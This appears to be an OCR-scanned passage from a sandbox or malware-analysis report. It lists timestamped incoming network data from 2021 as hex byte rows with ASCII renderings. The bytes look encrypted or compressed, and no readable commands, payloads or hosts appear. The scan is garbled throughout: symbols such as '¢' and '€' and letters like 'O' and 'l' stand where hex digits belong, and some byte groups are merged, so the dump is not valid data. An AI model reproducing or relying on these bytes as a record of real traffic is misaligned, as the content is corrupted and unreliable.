82 a3 1e 37 59 42 d5 3d 7b d9 ce 60 6¢ 48 9d al 51 4f 79 5e 14 64 15 f5 a3 22 6f fb c0 1b 70 2f 42 f0 01 b0 32 c3 7e 5a
7d 0a d5 81 99 c2 a6 c0 51 1d d2 05 b4 al 04 38 d7 a4
Data Ascii: @ eE]x4dW)7#BIg>mjmP)G]VD},h812t?< Q<pYpPDQ\HM\2TicrYelSt2iv@)dPH<dBU{F|jU1Jq37YB=(
HQOy d"0p/B2~Z}Q8

2021-10-13 13:52:05 UTC 554 IN Data Raw: 1a 23 17 2e bf 06 1b 15 d7 cf 9c c0 5f af 7d d2 57 57 Oe dd 4a 6d aa be 37 1f ¢7 0d a2 61 d8 07 09 fa 46 07 35
fb d7 Of 8 18 d3 22 f1 67 d9 1c b5 e7 aa 85 18 52 bf 27 Oe 4f d6 1b 5b 57 8 9a 2a c7 37 84 24 1f 00 78 05 90 06 73 73 dO
55 61 66 09 8a 2b 53 60 bb 1c 81 96 26 2d 03 25 7b 5e 5d Of €0 68 6e fa bd d1 fe 4a 34 80 54 f8 b3 4d 1e 77 f4 83 13 9d
d0 34 4e 92 35 2b 4f 91 e4 f4 2b af e0 43 bb 04 31 4a d7 c0 ca 18 9e f9 c2 50 e4 3c c1 9a 7e cf 65 0f 51 7f a6 1a 97 d5 9f
9c b1 03 97 €7 90 7b 00 ef ce bc 1a cl 14 6b bb d2 b1 8d 30 €8 09 c7 ee 4d d3 6¢c 2¢ 32 74 58 bb 31 89 48 c4 78 4c e8 ab
db ca 2d de fd Oc 07 7c 7f cf 68 b3 94 Oa b3 b5 ab €9 8b a5 e3 d3 3d 26 ca 34 ac f4 0f 92 ba 90 51 cd 17 11 63 Oe 9c f4 a3
99 bc Oe 31 ff 6b 23 4b 92 al 57 6f 4d 9b f6
Data Ascii: #._}WWJm7aF5"gR'O[W*7$xssUaf+S " &-%{"]hnJ4TMw4N5+0+C1IP<~eQ{kOMI,2tX1HXL-|h=&4Qc1k#KWoM

2021-10-13 13:52:05 UTC 555 IN Data Raw: c1 40 f9 b4 36 4b b1 47 f4 22 cO b7 10 52 52 b0 3a 2d 3f 0f 04 5b bc ff e8 1a 3b Of af 04 d1 d6 bl 97 23 86 c2 61
19 31 a2 18 2d 67 b6 1d c7 d3 10 2b 84 5f 66 fb 29 d6 44 bl f9 34 31 52 69 4d 20 d2 f3 a8 2c fc c8 38 8b dd 39 30 1b ch
53 a0 al 2c 4b a9 32 5e 19 d7 35 ce ae 7f fO d4 4a f6 €9 52 53 be el 25 1a 95 c9 71 7e 27 83 77 2e 17 c9 4c 43 cc 02 3a
41383571 bl 8a 08 68 1ala b5 3e cf 87 51 18 61 04 58 6d 09 38 f0 78 33 37 b5 2a 6e d4 01 56 ae Oe a7 69 34 90 fe 9a
4e b8 c7 a3 7c 59 78 f4 7d f4 8e eb ef e0 eb 27 49 e8 8f f3 00 70 ef 9e 1b 75 95 fb 18 6a €9 31 al 1d ce fd 4b 0d ef 94 fO
14 26 1f 68 63 Oe df cb d2 al 86 27 ea a8 33 63 2d b1 8¢ f9 c8 47 84 cc 8¢ ac d0 41 f4 32 47 26 ee 95 20 84 22 d8 f0 11
dd 5d f9 2c b5 2c 8¢ 68 2a 08 bf 01 02 9e 95 23
Data Ascii: @6KG"RR:-?[;#01-g+_f)D41RiM ,890S,K2"5JRS%q~'w.LC:A85qh>QaXm8x37*nVi4N|Yx}'IpujlK&hc'3c-
GA2G& "], h*#

2021-10-13 13:52:05 UTC 556 IN Data Raw: 4e fO d9 ae c9 27 ¢8 00 Oc 22 b7 fa 93 93 0f bb ac 3e c5 70 3b e4 14 {5 df 1f 54 d1 el 2a f2 fe 26 20 02 23 41
2d ce c2 24 4e 18 8a be 98 c1 c7 27 8f c4 53 c4 bd 71 76 23 4a 85 9c 2f 5¢ 80 03 b1 7e de d4 3f 50 68 dc 43 30 25 2c ae
la 7b 84 71 bb bf f0 bc 66 2d 3e 33 92 36 62 93 65 6 70 c1 53 7d 6d fb 66 16 cf ad 74 ad f1 08 b5 bd f1 al 69 af 61 a0 dc
2f56 94 b0 cb c1 37 66 a2 12 54 1e a6 b6 df 9d 34 8a ee 75 29 8b b0 d9 e2 8e a3 e0 d6 54 59 Oc f7 e0 41 1f 42 a6 dd a0
117317 3c 1e 5d e3 39 a2 dc 79 a4 ef 84 3f 75 4a b5 d8 27 49 e2 05 44 Oc fc d3 fd e9 fc d5 2b 7a Oa 9e 22 f7 8e 42 d8
70 0b 9a f6 b4 73 eb 2b 72 9b 18 6¢ 65 46 53 54 77 c3 df 94 7b d7 14 92 b5 32 2f 01 bb 8e cb e3 e2 fb ee 97 21 a9 37 f2 f1
al b7 6a b4 a2 ab ad 69 90 8d 50 d1 63 73 f4 50
Data Ascii: N">p; T*& #A-$N'Sqv#J/\~?PhC0%{qf->36bepS}mftia/V7fT4u)TYABs<]9y?uJ'ID+z"Bps+rleFSTw{2/!7jiPcsP
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:52:05 UTC 557 IN Data Raw: fa 18 ¢2 63 dd a7 69 83 44 91 27 66 le fa cO 3e 3f 68 07 75 b3 b8 55 9f 1a 1d d1 d9 4e ea 30 94 d2 d2 00 fd dd
2a b3 66 ed d5 04 bc 06 99 aa fd 63 ab 59 21 a2 ac a6 03 20 ee 3c 23 81 4d ca 85 fb 7f 4a 5a 78 6f ac 28 ce b7 25 5e c2
da ec e6 cl 26 3a b5 a7 4f a6 34 00 b6 13 cf Ob 8b df bd el 2f 15 6d d9 2c 28 df d5 af 3e c1 50 e4 33 55 b7 2d 6b b5 11
a4 1c 8e 81 7a 1b b2 3b aa 8b 36 39 22 fb e2 el a8 ca 32 17 b8 1b 4e 7c df 09 cc f4 d5 9d 68 d7 eb d9 d2 45 0d 4c 7f 78
b1 b2 1c 17 d2 b9 55 de 40 7d 8e 95 16 08 bd b8 al 68 56 cc ff b3 1a 99 6a 9f 67 fb da 25 a3 {7 64 5e 67 ff 90 Oc bd 9b af
87 €3 9a 67 b4 Oc fe 93 88 01 6¢ 0d 10 77 d2 ea 52 65 e7 ff f2 b4 6a b4 f0 ff b7 02 e3 1f 24 31 c5 e8 3f ce 56 8d c8 11 ea
bd b6 ca 94 c2 5f 49 2e 73 4a 54 a3 24 18 b9 da
Data Ascii: ciD'f>?huUNO*fcY! <#MJZx0o(%"&: 04/m,(>P3U-kz;69"2N|hELxU@}hVjg%d gglwRej$1?V_I.sJT$

2021-10-13 13:52:05 UTC 559 IN Data Raw: c3 1c 09 a8 ed ae 96 55 a3 9e 9d 6d e9 d3 61 dc 7b a6 df 7e a2 e6 3b Oc f8 74 87 fe a2 82 f5 c4 97 89 6a 62
5b 79 e2 a6 b7 Oc 62 80 0a 66 65 c5 dd 10 f4 c1 fO c7 df ec 45 ef ea 6¢ 7b 07 d3 b7 89 8e ca b8 69 9e c6 Oe 21 2d 21 17
df b5 90 af ¢4 09 f1 b9 62 a5 7f fe d6 b8 3b 41 40 36 3a 79 67 €9 3d ef 3d ba 55 60 7 3d df fe 36 9b 3c fc b7 64 0d 4f af 76
1f 41 ad Oa 44 8e fc c6 e7 ca 6b aa 28 a9 be 15 d6 94 1d 6a fO 2e d8 84 88 7f 28 52 18 ab b7 96 c5 8 f7 79 3b 1c 9d cf ed
42 be 17 02 53 d1 4c 69 28 09 00 92 f6 74 b1 d3 ad bb be 63 c2 e7 32 65 22 d8 70 b9 a6 9e 76 34 be 76 €9 74 60 b1 b0
40 3e ca f8 51 32 7a 98 03 8e 6d 68 €9 a2 4c €9 74 eb ca b6 b8 3d 1e fa 4f 64 43 e7 d1 8c db cd e0 7a e3 5c b0 81 4f c3
5a b3 7b b6 1c 3a d9 9b f8 f9 a4 fe 8¢ 85 f3 03 7
Data Ascii: Uma{~;tjb[ybfeEKi!-1b;A@6:yg==U"=6<dOVADK(j.(Ry;BSLi(tc2e"pv4vt @>Q2zmhLt=0dCz\OZ{:

2021-10-13 13:52:05 UTC 560 IN Data Raw: c8 68 fc f4 9d 66 Ob cf b2 5e a7 €3 85 fc eb ¢5 b6 d2 c6 c8 61 d1 Oe 17 91 9a 1e eb 42 6b ee 5d 38 1f 72 9f 31
8f a8 0d 98 5d 19 7e fb 02 68 14 38 f2 5a 18 d3 26 52 bb 15 9a f6 95 18 e6 2c €3 57 9a 30 d4 d5 bd 7b 30 73 73 43 61 d1
82 a0 78 5¢c ce e2 27 53 9a b6 3b fc ff f7 1a 92 72 b5 24 39 46 08 b3 35 eb cd ¢7 ec d0 a5 f0 9d 3b 79 3e 73 d9 cf ff f8 3¢
98 2¢ 47 85 df 18 26 3b 60 ee bb a3 9e ce 45 eb 7e b7 6d 57 f6 53 73 ba ad b3 f6 58 2a db a2 3f ed al fa 90 3a 9b 06 59
45 e3 0d c9 14 24 f2 cf 4e a6 d9 8f ef d8 f1 8f 2e 9f 6a ce e4 28 dd 47 81 b0 d7 bf 9d 93 9b 01 78 46 6e ef €9 aa d7 eb ec
b4 fa f8 55 9b 15 5a ba 4c c0 77 70 89 19 b2 f2 86 5d 64 16 55 c0 3a b5 24 36 59 18 79 b6 ff 7a df 63 dd 2c f4 03 f4 73 b4
9d 81 3 4d ¢5 3c fc fd cO fe 4f d7 a3 15 e0
Data Ascii: hf*aBk]8r1]~h8Z&R,W0{0ssCax\'S;r$9F5;y>s<,G&; E~mWSsX*?:YESN.j(GxFnUZLwp]dU:$6Yyzc,sM<O

2021-10-13 13:52:05 UTC 561 IN Data Raw: ca 27 07 66 2d b4 cc de 7d f6 b3 78 4c 5¢c 06 3a 22 a6 1f 70 d7 5f 20 9c Oe de c8 c2 d8 c2 07 8f d6 a4 65 60 bd
05 d8 5a 7d 4f 69 55 11 e5 22 bl b0 dc 8f 77 d7 b0 30 94 16 2d 27 22 70 Oc dd 36 6¢ 7d 0d e7 45 c7 a5 78 4b 9e 19 7d 12
97 b7 f0 ff 17 5f 51 35 b9 24 db 89 20 d3 42 3f 07 13 a9 25 f8 83 8f 2f f9 99 52 d7 8c bc 2f 56 a9 e7 b5 da da a9 bl 71 fc
6a 54 bd 4d 4e 4a b3 ad 99 ad 17 e6 be b1l el 4f 99 27 a9 6f bb 16 07 72 25 50 al b5 99 f6 84 62 b3 1e fa 3b d7 1b 73 dd
24 df 33 a6 e2 32 88 6¢ ec 3e b9 df ¢5 72 c8 7f ab a8 4a 49 Oe 3b 09 8b 03 19 10 cd 5b el d9 7e 0d 61 b4 4b 76 52 db 9c
80 83 f2 ae e3 45 7f 4d 5¢ f5 ¢7 8¢ b5 d4 5b cf 97 16 b9 42 5d 79 7c ba 9e 5e da 08 3b 7f 16 fa 32 7b 6b ef 1c fb cc 82 1c
d8 70 8a ec 4e 3e b9 fd 50 11 4d 51 db dO 6c b6
Data Ascii: 'f-}xL\:"p_ e Z}OiU"w0-"p6I}EXK}_Q5$ B?%/R/VajTMNJIO'0r%Pb;s$32I>rJl;[~aKvREM\[B]y|";2{kpN>PMQI

2021-10-13 13:52:05 UTC 562 IN Data Raw: 92 3d f7 88 7f 51 a8 b6 d7 05 d6 30 2b 78 ba 69 8d 8c 4a e6 79 a5 16 68 3c 65 57 bd 8c a3 4a 8e a5 68 3a cO
b5 1f 96 46 €9 d9 al 6d a8 63 93 21 1b 75 d3 d8 Oa 6f 2b 3e b0 e8 Oa Oa da 5d 7d 6¢c 0d 9a 0d al d8 1a da 50 55 cb a0
32 4b f0 5d 62 89 25 f4 82 46 Ob Oe d7 a4 f1 65 bf Oe Of ae 08 Oa f4 b4 02 ad d5 f7 ¢5 fe 5a 97 18 2d e4 f9 40 6f b0 bb 1e
Oe 6d 5d 37 39 53 84 a2 37 fa b2 f1 44 e3 a3 fd 5b 92 c6 46 30 7c f8 54 01 38 a2 Ob 8a 30 63 80 02 al 3a d7 d9 00 7e ed
ad 7d 87 el f2 3c 6d 92 aa ca 16 e3 c4 e7 d9 4b f3 72 97 25 20 b3 02 26 93 e2 49 7f eb 33 a9 5b 14 00 00 e5 4f a5 ba ad
cf 88 49 d6 3f Of 21 89 08 f6 c4 18 a8 17 f2 ee 29 49 c5 ca 9d 10 e0 e0 95 90 1a 40 10 81 a4 95 ad 1a 32 39 dd 3d 8c ff 1b
08 44 f5 c2 ad fc 9d 55 38 9d 5a 9c¢ 1d a3 Oe 8d be 5b
Data Ascii: =Q0+xiJyh<eWJh:Fmc!uo+>[}IPU2K]b%FeZ-@0m]79S7D[FO0|T80c:~}<mKr% &I3[01?!)|@29=DU8Z[

2021-10-13 13:52:05 UTC 564 IN Data Raw: e4 cc 9d 38 ab 55 af ee b2 8a 46 8e e6 c2 7d 82 4b bf 9e e7 7c 8f 5¢ a4 a7 ba df 29 46 d7 e9 7a Oa fe 75 b7 a7
da ed le c3 29 5f a7 Ob 04 3c 49 2a be 5¢ 21 Oc 1c 15 43 ae c2 10 11 17 03 d6 96 78 66 05 06 1f da 88 23 4b b1 df 9a 32
5597 89 26 b1 ac 36 9b a2 33 d7 39 c4 32 98 67 e7 4a 24 7a 5b 9a 0d da e5 51 2a ce bc al 4d d7 de c8 22 d6 b5 8a 16
7702 97 03 9e 18 33 a2 12 ba 37 d9 ¢3 b3 fc 7c d5 d0 d0 dO 77 d9 1b 1 f6 24 9d a0 cO 6e e4 44 e8 f0 d5 66 a0 74 54 02
d7 54 31 bf f0 17 c1 65 17 6d fb b5 3a 34 25 b5 d4 51 47 f4 c4 ba c6 35 76 7c 4c 0a 79 fa 90 3b 8e f3 21 06 4b 49 61 e3 af
34 1b Oa af d0 54 f3 7e 85 95 f0 98 ed 08 e6 1a 54 ef d4 71 16 35 0a 50 ff 8b 28 47 46 af 49 49 5e 1c 6f c2 ff 91 1c 93 16
d3 cf 4d 38 c8 fa e4 f5 79 c6 e3 21 b4 08 0a 03 2a
Data Ascii: 8UF}K|\)Fzu)_<IM\ICxf#K2U&6392gJ$z[Q*M"w37|w$nDft TT1em:4%QG5v|Ly;!KladT~Tq5P(GFII"oM8y!*

2021-10-13 13:52:05 UTC 565 IN Data Raw: 65 91 d2 al 4c 33 00 9¢ b4 99 el 9c el 05 3b 08 75 4f 39 47 65 7a 6b 8f 9f 89 9d da 7a 87 27 cf f1 57 68 8e 97
55 47 cl a2 42 76 41 cf 37 a6 8e fa 97 f5 05 2¢ 31 1e fb 30 23 0d bd 34 54 b0 0f 57 08 05 3e 64 bc 60 ac 33 7a 4f e2 41
94 ¢5 75 0b 83 ec 93 8c a3 02 47 b8 54 46 b8 f6 26 8f a9 4d 15 €5 21 c0 7a 3d d1 3e dc 12 d4 f9 cc 4f dc d2 e2 12 2a c2
7a 3f 5f 8f d2 ab 64 49 14 52 5d be 27 84 b8 d6 98 9e ca d8 32 52 bb a5 04 fd 0f 49 ¢5 51 77 a7 c9 ee 8d 1a e5 18 c5 f4 bf
c4 f3 55 e8 19 b8 5¢ 1d d2 fa 62 a6 99 53 b5 06 06 2f 80 a4 b4 99 f6 57 64 be be c6 93 b5 56 4e 2b 74 37 2d e6 6e bf 9a
9412 cle834c9 17 4b 7c ab 07 2f 10 04 6a el e8 6d 95 85 c2 fO e6 74 99 48 c3 Oc 18 d7 ba el 29 fe Oe f4 68 28 3f 40 5f
15 2e 62 84 15 3c 91 75 ca 16 32 0f 62 34 a3 6b
Data Ascii: eL3;u09Gezkz’'WhUGBVA7,10#4TW>d 3z0AUGTF&MIz=>0*2?_dIR]'2RIQWU\bS/WAVN+7-n4K|imtH)h(?@_
.b<u2b4dk

2021-10-13 13:52:05 UTC 566 IN Data Raw: 84 06 e4 96 €5 be b9 15 2a 3b 55 29 85 8d d7 95 63 ae 7c 07 90 17 87 19 5d 4a 9b 72 38 2f 94 5a 52 d2 78 ad
1004 al ec 4c 51 25 a3 df bl 7a 5a ed a7 44 e0 cc 84 fb e9 a2 e3 cc 20 cc 25 f4 4d b2 1e fa df 4d Oe cc 3a ce 2a 46 €0
7a 6e 71 ff ae b8 81 a7 34 7b b6 8e Ob ad a8 7f bb 5d 7d 8¢ 85 65 43 db 05 70 2e 26 33 7f 12 4f cb 51 53 5b 55 al 38 74
1751 d8 1d 91 c9 15 d8 de 6f 16 b0 96 fb cd c3 cb 22 0d cb 6¢ 01 bd ab 47 16 fd fc Ob cb d7 8f 22 8b 45 66 e5 dc 2b 9c cf
79 7d 9c d0 34 a0 3b a0 50 16 c9 bf 2d Oe 24 ee 61 2e 54 c9 9c 38 ca cc 4e 6e ff 94 63 36 c0 91 39 df 65 7b 41 5a ea ad
d4 a6 25 56 59 fe ce fd ad b0 fb 8e 9b fa 24 2b db 65 fd 12 28 97 8b 91 45 a7 90 53 38 92 36 c1 ¢4 5a 4b 1a 32 0d bd b3
aafbc4 86 1b a3 c1 88 c8 d2 e6 Ob 4f 11 68 ed bd 7d
Data Ascii: *;U)c|[]Ir8/ZRxLQ%zZD %MM:*Fzng4{]}eCp.&30QS[U8tQ0"IG"Ef+y}4;P-$a. T8NNc69e{AZ%V YS$+e(ES86Z
K20h}

2021-10-13 13:52:05 UTC 567 IN Data Raw: 4f 02 85 ae 5c bb ¢9 f7 22 21 f3 14 f0 8e 35 63 cd d3 89 ad 5b €5 89 12 ac 6b 11 46 79 65 b5 eb 22 9b e3 d6
46 46 ff f1 a0 4a 68 85 4a fb 05 5¢ 9d 9f 23 a5 db 4a 25 71 al 84 67 4f 08 55 c4 1a 62 02 79 f8 €8 6 48 b2 34 20 80 c2 6¢
84 fc 0d de 64 a5 a8 97 79 be a8 30 cd 3c c6 f4 €9 89 f1 53 cf 60 88 17 72 60 Oa 6e 18 56 b3 6¢ a6 2d 42 0d 72 4a 70 1a
ch 82 4ad7 1c f8 ¢5 72 11 4b 5¢ 33 35 7b 41 d9 dc e4 01 05 e4 91 d8 66 Of 13 de 38 87 de al 82 f5 e2 5e 8¢ d2 2e 5b 55
el a6 b7 71 22 c1 34 d4 29 15 08 b1 86 36 f3 78 60 fd f7 bd 9b a5 7b 07 7e 6b Ob 51 fd 7f 6f 6e 35 99 87 71 20 bc 8e 72 7f
97 53 14 14 cb 54 0d ee d8 53 84 47 7a bb 26 f9 ff 3b 78 50 eb 45 45 aa a3 33 28 58 f9 c7 d6 48 14 c5 2a f1 1b fb 4e 4a
56 Oc 4d ba 89 f4 cf b6 86 Ob bb 14 06 10 ed 10 66
Data Ascii: O\"I5c[kFye"FFIhJ\#J%qgOUbyH4 Idy0<S'r nVI-BripJrK\35{Af8".[Uq"4)6x {~kQon5q rSTSGz&;xPE
E3(XH*NJIVMf

2021-10-13 13:52:05 UTC 568 IN Data Raw: 7e 63 ce 89 c8 a0 3b e3 ce 1f 97 bc d6 80 ba 40 92 59 81 d9 44 82 04 Oa 95 1e e8 19 4f 46 a8 29 fa 74 Oc 22
91 69 89 25 46 le bc d2 Oe 34 62 87 96 57 cl ec 81 75 f3 20 08 14 Oc 99 92 b0 0f 51 f4 a5 37 9¢ 29 60 Ob 38 c7 ba f5 fa
7b 69 2f cf b4 5a 85 49 83 fb e2 24 8d 4f d3 ea ff be 5a f4 d7 72 6f 34 41 1b 61 ef 16 92 90 06 47 df c1 1c 1e 37 4e d9 97
7c 83 37 e2e7 12227 94 3c 6 d2 2a €3 79 2a 49 84 dd 12 45 ¢8 14 58 d9 51 cd 10 77 ea 9a 1e f2 a0 99 bc 7¢ 5¢ 25 7b
dc b4 94 cO b4 98 a5 1a 90 9b f4 ac c2 64 d4 37 71 5a 04 85 65 98 64 dd 8f a2 93 96 4e 72 57 52 84 1b 3c c9 45 fc e6 40
0d 35 6f 99 0a 5b b1 3b 14 90 2f 31 a0 91 f3 a2 5c¢ ff 38 46 a6 15 89 b2 c2 4b 31 a7 07 84 8e ee 36 6b fa 4e 4b 06 7b bf 66
2d ba e9 5a Oc 47 2d 5c 6a 44 29 4d 0b 65 91 37 73
Data Ascii: ~¢;@YDOF)t"i%F4bWu Q7) 8{i/Z1$0Zro4AaG 7N|7"<*y*IEXQwW|\%{d7qZedNrWR<E@50[;/1\8FK16kNK{f-ZG-
\|D)Me7s
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:52:05 UTC 570 IN Data Raw: bb ba 26 9c bb 6b 67 73 6b ab be el 32 c8 f1 52 8a 2d cf 60 94 70 38 cO ce 78 b1 3a 36 08 8a b2 2f 09 8b 62
53 4c a9 ef 80 44 c9 de a7 4b 80 5c 6d 59 el f1 f9 ed aa 2e Oe 17 65 cd 9a 08 fe 3d 2e b9 3 f9 b7 41 89 7f fc db 9d 77 c5
06 5f 07 c4 13 0a ec cf dO 95 04 16 37 8e 9a db 89 ea 99 f3 31 el 05 33 89 29 9c 76 cd fa b5 1f 85 76 71 f4 ae 2f 53 37 b2
f9 49 e3 61 d5 fe 31 7b 95 6a dd 06 Oc 43 3c 8b 13 67 a6 56 2f Ob 4f c7 d8 4f 88 55 68 aa 74 17 b6 1c af e4 73 52 60 c2
9e 7a 4f €2 92 38 99 23 e3 b6 5e 93 e6 28 1d ec 01 3d d3 e3 2e a5 4b 6e 58 5b 30 0d a8 3d c6 a5 68 90 93 8 7d 44 c7 35
af 94 16 0f 85 19 8b 06 85 d2 28 f2 03 79 51 ea 65 5b 7a 74 de b3 de 12 2e 63 0f Oc 3f 50 2b 50 30 2e c8 41 99 b5 2e 02
db cf 4e 89 9e e6 64 7b 56 €9 19 ee d7 33 85 27 57
Data Ascii: &kgsk2R-"p8x:6/bSLDK\mY.e=.Aw_713)vvg/S7lal{jC<gV/O0OUhtsR zO8#"(=.KnX[0=h}D5(yQe[zt.c?P+
PO.A.Nd{V3'W

2021-10-13 13:52:05 UTC 571 IN Data Raw: 52 a3 c0 7f ed 20 44 29 a8 ec af 9d c1 26 02 60 fd 2b 82 f2 b9 38 ba 53 d0 28 2f a4 87 b0 05 40 09 cb 87 71 55
c5 ¢l 7d 97 bc 34 24 5f 82 8b e4 ¢8 7f 78 3c 6b dd 97 73 1a 29 54 8f Ob 32 66 b0 2e dd 64 8b a3 d1 f2 f3 al e3 c8 Oe 90
98 70 db 4b a9 d2 57 f4 b3 2c 04 b0 2a 87 42 b7 f3 aa 51 48 6e f4 f2 c2 ae 04 00 2d bc a6 f1 38 48 01 b1 ff 9f d1 a2 f8 91
c6 8587 el 44 39 ba c2 b6 d7 9d cd cf b6 ae 22 b8 11 9b 44 1b 35 Oc 3f 4a 3d 42 b4 6e c9 5e 85 96 €6 6a d7 3c e4 fa 1d
lac2 1f69 eb ab 65 94 21 1b 73 38 c0 be 5d a6 11 Oc ef 5b a6 00 5d 7d 5d d7 81 21 c6 58 21 ae 9e 9d 5¢ c9 e2 cf b1 {3
5b 02 58 6b 58 68 e7 7e 61 53 85 a3 €9 e4 ba f8 2c 00 78 b4 78 bf €3 24 37 f0 de 15 72 29 69 fc cd a9 3b f6 5f 08 cb a3 df
06 53 84 96 56 8d ac 7a 39 ac a8 78 a3 c2 45 29
Data Ascii: R D)& +8S(/@qU}4$_x<ks)T2f.dpKW,*BQHN-8HD9"D5?J=Bn"j<ie!s8][[}]'X\[XkXh~aS xx$7r)i;_SVzIXE)

2021-10-13 13:52:05 UTC 572 IN Data Raw: b1 72 3e 42 78 db 7d el 13 28 97 88 2f 34 a6 43 ac 4a 8b f6 dd c5 5a 4b c9 1e ed 37 5b e3 bc 98 86 96 26 47
76 ba ba 5a 4f 32 0 Oe 64 b2 fc aa bd 6d cc d2 d9 7d 3f f9 09 95 bl 6a 21 c2 10 40 83 94 73 Oe b7 6e 67 d8 61 eb 09 fO
5883 71 dO 8b c0 bf 35 73 f7 1e 35 1c c1 6e 33 fc 16 bf 88 fd 5e 28 ba cc 58 12 Oc 94 d0 b8 43 12 7a b0 ef 9f b2 43 f1 e8
83 fb 07 b5 8¢ b3 2¢ 46 45 2e 67 03 33 18 6f dd 86 58 68 bf 62 41 6f f9 94 c1 dc bc 22 a2 11 d9 8d 90 d5 c8 1d 5f c4 12 ed
76 4e 4d 5f a5 b3 08 58 4e 28 ca 53 f3 9b fc 83 50 51 cd 43 f9 28 d6 5b f2 d1 32 43 f3 8b a8 01 Of 41 c4 28 42 2f 4d 53 c8
17 bl 2f fa d3 ec el 83 1b 43 72 9a 67 e7 19 f4 ac d5 c1 c0 57 a8 28 bb 31 2 af a6 cf 85 41 67 3e 4c f3 84 a4 6b c4 9f ce
5a 33 f2 1c 33 27 0d 55 2f 5¢ 1e 67 23 39 54
Data Ascii: r>Bx}(/4CJZK7[&GvZ0O2dm}?j!@sngaXq5s5n37(XCzC,FE.g30XhbAo"_vNM_XN(SPQC([2CA(B/MS/CrgW(1Ag
>LkZ33'UNg#9T

2021-10-13 13:52:05 UTC 573 IN Data Raw: 6¢ 51 Oa bf 76 f9 fd Ob ab 78 d7 89 c8 ef d0 a7 b1 90 95 e2 b5 c3 55 a0 09 b3 4a a9 32 5e 19 d7 35 cf ae 7f 8a
11 67 ee 8¢ d7 3c 41 93 8f 75 41 ¢7 75 2e 71 bc 32 9¢ 39 43 0a 6¢ 5 87 c2 05 08 6a 2f el 58 bc 68 1a c2 2c el cf 84 a9
78 b9 64 aa db 09 8b 72 57 e5 a5 f2 03 ff db 77 0d 84 70 b8 69 9f 9f 46 65 2e bb 76 d1 2a 1a 9b 46 ba 39 51 25 66 50 30
29 c4 ad 8 46 37 bb 9d 04 Ob a7 8d 3d 4d el 05 77 08 91 c8 fd 4b 5e 51 16 31 1c 71 1d 6a 6f 81 1f b2 83 7a 23 55 60 4d
e5 fd aa cf 8f 2d 81 16 4f 57 dd 6f 2b 13 8b 31 25 b9 89 48 37 99 80 d7 74 9c 89 al ab 3b bd 12 60 db 54 7a 4f ea c0 bc
a6 e3 66 19 3b 0b 4c 77 11 f3 ca 47 5a 68 cb 7b 4c e8 ec 92 d3 b0 57 ad 47 49 b8 1b 15 5¢ 22 cf 9a 53 f8 cd €9 6¢ 12 ca
76 74 01 17 ab 36 1f aa e0 a0 cc 95 85 2b 8f al 49 d4
Data Ascii: IQvxUJ2°5g<AuAu.q29Clj/Xh,xdrWwpiFe.v*F9Q%fP0)F7=MwK"Q1gjoz#U M-OWo+1%H7t;" TzOf, LWGZh{LW
GI\"SIvt6+l

2021-10-13 13:52:05 UTC 575 IN Data Raw: 8e 52 6¢ 81 d0 5c 76 c0 8a 37 c¢7 57 5f cd de 54 fc 00 86 8e 92 al 1a b8 ch b8 82 f0O bf 66 c5 9e 62 52 5c 9a 98
fd 23 80 2d 43 5b 28 Ob cb 01 e7 29 20 55 24 33 fc ¢4 bb 16 e4 df 2c d6 €8 21 01 b9 c6 c7 6d 58 3f a0 ac 2a 5e 50 48 5¢
da f8 05 2a cb 2a b8 a0 fc 09 31 a5 1f fe ab 64 87 81 ec c2 d4 d1 el 7d 5¢c 66 cb 7a 51 1e 5d e3 3f a2 a4 40 5b 10 5f 9b f4
bl 1b aa e4 51 f4 0d 44 al fc d3 15 ¢3 03 2a 2b 7a Oe 45 a4 41 4d 3a 5b 5c 75 48 2a 15 ed 2f 7d 31 6¢ 29 87 60 9a 57 3
98 b6 d7 49 63 17 2f 7d cf 47 9f 3c b4 Ob aa 6d f4 b2 7c 4c 59 f6 cb 0d Oe 99 7b b4 7c 4b e8 ad 38 9e d9 14 63 62 2d fb 10
el 3b ae d1 c8 a3 a0 59 84 cf 7c ab 87 1a 28 64 5c d3 3f 2d e0 a5 de d2 d9 51 7b ba a3 bd c8 d4 5e 02 58 33 89 7a fO 78
60 27 bc 76 34 03 0f 1d 71 40 e2 e3 45 7e ec aa
Data Ascii: RI\WW7W_TfbRW#-C[() U$3,!mX?*"PH\**1d)\fzQ]?@[_QD*+zEAM:\uH*/}11)" WIc/}G<m|LY{|K8cb-;Y|(d\?-Q{"X3z
X 'VAqQ@E~

2021-10-13 13:52:05 UTC 576 IN Data Raw: 28 48 07 fc 85 1a 53 d9 07 7c 5d b9 dc 91 5¢ 53 07 79 27 d3 d5 96 10 5a d5 2d 4f 42 2e 02 d1 c1 69 4e 17 ba
dc 7b 56 €8 9a 90 ff 68 d5 fd 36 56 90 53 36 78 5f 25 37 21 54 99 f6 09 6¢ 25 d3 05 cb 02 40 26 2d 76 b4 53 82 e3 3d 64
a4 ed 3e b9 38 7f 1f b6 ad ab 07 38 6e f6 3a 27 07 3f e7 ef bf Oe f1 68 35 48 91 69 91 09 45 1e bc ea 85 20 82 62 12 bf 35
98 eb a6 8f 1b c3 c3 41 c9 Oa 61 e7 b4 34 d7 45 1f 11 83 71 a9 20 c3 9e fa 7b 6a 87 b4 6e ec f9 28 83 91 6f el de 5b f6 76
ad ee 31 ¢7 27 fb 29 f3 00 cb 4a 25 9¢ d7 9¢ 83 d9 20 21 c¢8 9b 59 a8 53 d5 3a 7b e8 1d b7 a7 a0 e5 fb 86 a5 0f 2a ad cd
84 71 d3 07 ac a2 c8 fc 1a 40 51 cd 9d 8e 03 4e 5b f2 Of 8e 9f 39 d9 25 84 e3 1b 49 bf el 77 a5 1a 4e 45 59 70 fb 9b 2b 30
aa f7 af 22 cd 8f 96 15 af 27 05 ce 23 fd 6d ad
Data Ascii: (HS[\Sy'Z-OB.iN{Vh6VS6x_%7!TI%@&-vS=d>88n:"?h5HIE b5Aa4Eq {jn(o[v1')J% !YS:{*q@QN[9%IWN
EYp+0"#m

2021-10-13 13:52:05 UTC 577 IN Data Raw: 02 23 6f 5¢ Of 76 58 88 bc b8 95 80 13 aa 39 al 8f 98 8d 5 1e 8d ea c5 68 a0 e6 06 c9 e5 3f ba 97 a4 4f 3b e3
8b 85 ¢6 77 78 50 cc 03 45 aa a3 33 34 82 67 e8 54 26 5e 8b 0d 36 ¢7 24 b4 67 f6 ad a6 ea 01 69 cb 10 f2 11 Oe 33 97 41
